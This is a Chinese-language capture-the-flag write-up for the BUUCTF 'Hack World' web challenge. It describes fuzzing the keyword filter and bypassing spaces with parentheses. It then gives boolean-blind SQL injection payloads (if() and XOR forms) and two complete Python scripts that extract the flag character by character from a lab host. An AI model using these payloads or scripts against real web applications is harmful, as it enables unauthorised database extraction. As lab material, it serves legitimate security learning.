当前位置:网站首页>[CISCN2019 华北赛区 Day2 Web1]Hack World --BUUCTF
[CISCN2019 华北赛区 Day2 Web1]Hack World --BUUCTF
2022-06-13 00:18:00 【金 帛】
目录
分析

表名跟字段名提示都给了,burpsuite抓包查询点,上fuzz跑,看看过滤了那些关键字

长度为482的包都被过滤掉了,过滤得挺少,但是呢,输入两个关键字的时候却检测到SQL注入,所以这题还是组合过滤,无论怎样都不能出现单引号和#的组合,单引号和;的组合,而且(select)没被过滤掉,这就过滤掉了许多方法以及空格,空格可以用括号绕过,绕过思路具体可参考
法一
测试的时候发现能用if
if(1,1,2)
用布尔盲注,先试一下拆解数据库名
if(ascii(substr((select(database())),1,1))>32,1,2)
回显id为1的情况,说明能用,直接猜字段
if(ascii(substr((select(flag)from(flag)),1,1))>32,1,2)
说明能用,再用二分法写个python脚本
#buuctf web Hack World
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
跑完后得到flag
flag{dda27733-1184-415d-8dba-5e9597491181}法二
看了别人的wp,还能用一种方法,异或运算,可参考
先测试一下,查询0的时候为

查询1的时候为

可以构造payload
0^(ascii(substr(database(),1,1))>0)回显

所以写个脚本
#buuctf web Hack World
from turtle import right
import requests
url = "http://3bdb8fd8-acb8-4230-96d0-3845226525ba.node4.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
data = {"id":payload}
res = requests.post(url=url,data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break边栏推荐
- Five mock technologies of go
- Matlab [path planning] - UAV drug distribution route optimization
- Do you have to read for PMP?
- [LeetCode]26. Removes duplicates from a sorted array thirty-three
- 2022施工員-設備方向-通用基礎(施工員)操作證考試題及模擬考試
- [matlab] two dimensional curve
- 6.824 Lab 1: MapReduce
- Browser cache execution process
- Handling method of wrong heading of VAT special invoice
- New blog address
猜你喜欢

Kaust:deyao Zhu | value memory map: a graph structured world model based on off-line reinforcement learning

A detailed explanation of synchronized

PLC也能制作小遊戲----Codesys編寫猜數字小遊戲

【Matlab】矩阵变换与矩阵求值

分公司能与员工签劳动合同么
![[matlab] two dimensional curve](/img/5a/bd69c78513fe4b59b2c63dc3679841.png)
[matlab] two dimensional curve

Leaflet that supports canvas Path. Dashflow dynamic flow direction line

Tsinghua-Bosch Joint ML Center, THBI Lab:Chengyang Ying | 通过约束条件风险价值实现安全强化学习

The difference between caching and buffering

Real time preview of PHP in browser by vscade
随机推荐
PLC也能制作小游戏----Codesys编写猜数字小游戏
Tsinghua Bosch joint ml center, thbi lab:cheng Yang Ying | realize safety reinforcement learning through the value at risk of constraints
如何快速查询手机在网状态
ik分词器的安装
如何快速查询手机号码归属地和运营商
PMP test experience
Matlab【路径规划】—— 无人机药品配送路线最优化
[LeetCode]20. Valid parentheses thirty-six
安全事故等级划分为哪几级
Is the newly graduated college student taking BEC or PMP? PM who wants to transfer to another job in the future
Browser cache execution process
Stm32f4 development of DMA transmission to GPIO port
Go design concurrent web crawler
After so long use, CSDN has finally opened a blog
The e-commerce employee changed the product price to 10% off after leaving the company, and has been detained
Accelerating with Dali modules
The origin of MySQL in bedtime stories
New blog address
2022美容师(技师)上岗证题目及答案
Explain bio, NiO, AIO in detail
